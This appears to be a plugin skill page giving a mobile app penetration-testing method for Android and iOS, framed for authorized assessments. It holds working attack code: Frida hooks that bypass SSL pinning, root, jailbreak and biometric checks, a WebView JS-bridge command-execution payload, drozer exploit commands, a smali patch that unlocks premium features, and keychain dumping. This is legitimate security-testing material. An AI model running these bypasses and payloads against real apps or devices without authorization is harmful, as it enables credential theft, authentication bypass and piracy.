Stats
Actions
Tags
From cybersec-toolkit
Mobile (Android + iOS) penetration testing methodology covering static analysis, dynamic instrumentation, SSL pinning bypass, and API testing. Use for authorized security assessments and bug bounty triage.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:offensive-mobileThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
1. Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints
userdebug buildMagiskTrustUserCerts)# Decode resources + smali
apktool d app.apk -o app
# Decompile to Java
jadx -d app_src app.apk
# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig
# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/ # leftover debug logs
# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions
# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"
# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app
# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA
# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
// ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});
// Bypass root detection
Java.perform(() => {
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
if (path.includes('su') || path.includes('Magisk')) return false;
return this.exists();
};
});
// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});
objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump
App with <network-security-config> requiring its own pinned CA: edit res/xml/network_security_config.xml, repack:
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk
Or live-bypass with Frida (preferred — no recompile).
For pinning, use Frida hooks against SecTrustEvaluate* / NSURLSession delegate methods. ATS exceptions in Info.plist (NSAllowsArbitraryLoads) make MITM trivial without pinning.
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
--extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets
Targets:
exported="true" activities → call from another app, bypass authgrantUriPermissions → arbitrary readBOOT_COMPLETED etc. with privileged actions// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity
# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"
Universal Links: check apple-app-site-association on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.
launchctl list | grep com.vendor enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.
# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz
Inspect:
shared_prefs/*.xml — preferences in plaintextdatabases/*.db — SQLite (use sqlite3 to dump)files/ — arbitrary writescache/ and external storage (sdcard/Android/data/...) — often readable across appssetUserAuthenticationRequired(true) → use any time process is running# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
# AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)
# WhenUnlocked → standard
# AlwaysThisDeviceOnly → bypasses screen lock
iOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.
addJavascriptInterfaceIf the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')
WebView with setAllowFileAccessFromFileURLs(true) + a HTML attachment that the user opens → reads any file the app can.
WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomaticallywkScriptMessageHandler exposed — same JS bridge concern as AndroidloadFileURL and broad allowingReadAccessTo directoryApps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.
Java.perform(() => {
const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
Cb.onAuthenticationSucceeded.implementation = function (r) {
return this.onAuthenticationSucceeded(r); // accept whatever
};
Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});
evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics) — if the app trusts the boolean result without using a Keychain item bound to biometrics, you can flip it.
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter(args) {
const cb = new ObjC.Block(args[4]);
const orig = cb.implementation;
cb.implementation = function(success, err) { orig.call(this, true, NULL); };
}
});
The fix on the dev side is to use a biometric-bound key in the Keychain — the bypass above doesn't yield key access.
Pull URL from app:
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
# Test for unauth read
curl https://target-app.firebaseio.com/.json
# If returns data → unauth read
Rules misconfigured to allow read, write: if true; — visible in app's REST calls. Test with anon SDK or direct REST.
Unsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.
Google Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.
truffleHog filesystem app_src/
gitleaks detect --source app_src/
The backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:
X-Device-ID, X-App-Version, X-Signature) often calculable client-side. Pull the algorithm from the binary./api/v1/... retired in newer app, server still serving with weaker auth./topics/<predictable> may receive messages meant for others (Firebase Messaging).# Patch a check (e.g. premium=true)
# Smali edit
sed -i 's/return-void/const\/4 v0, 0x1\n return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apk
For commercial bypasses, use LSPosed module so original APK isn't modified — bypasses signature checks that lock down repackaged variants.
codesign -d --entitlements - Payload/App.app/App
Look for: keychain-access-groups (cross-app keychain), com.apple.security.application-groups (shared containers), com.apple.developer.associated-domains (universal links), private entitlements (rare).
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];
Any app can invoke any registered URL scheme. Validate sender? Most don't.
/private/var/mobile/Containers/Shared/AppGroup/<UUID>/
Multiple apps from same vendor share — secrets here cross app boundary.
| Detector | Bypass |
|---|---|
| Frida server detection (port 27042 open) | Run frida-server on alt port, use frida -H |
Magisk detection via /sbin/magisk | Magisk Hide / DenyList |
| Emulator detection | Run on real device, or stub Build.FINGERPRINT etc. |
| iOS jailbreak detection (file existence) | Frida hook stat / fopen / dlopen |
Anti-debug ptrace(PT_DENY_ATTACH) | Frida-stalker-based, or kernel patch |
| Certificate pinning | Frida universal pinning bypass |
| App attestation (Play Integrity / DeviceCheck) | Hard — usually requires server-side bypass or app attestation token relay |
[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitConducts penetration testing of iOS and Android mobile apps following OWASP MASTG. Performs static binary analysis, runtime dynamic analysis, and API security testing to identify data storage, network, auth, and cryptography vulnerabilities.
Conducts penetration testing of iOS and Android mobile apps per OWASP MASTG. Performs static analysis, dynamic analysis, and API security testing to identify vulnerabilities.
Conducts OWASP MASTG penetration testing on iOS and Android mobile apps via static binary analysis, dynamic runtime testing with Frida/Objection, and API proxying with Burp Suite.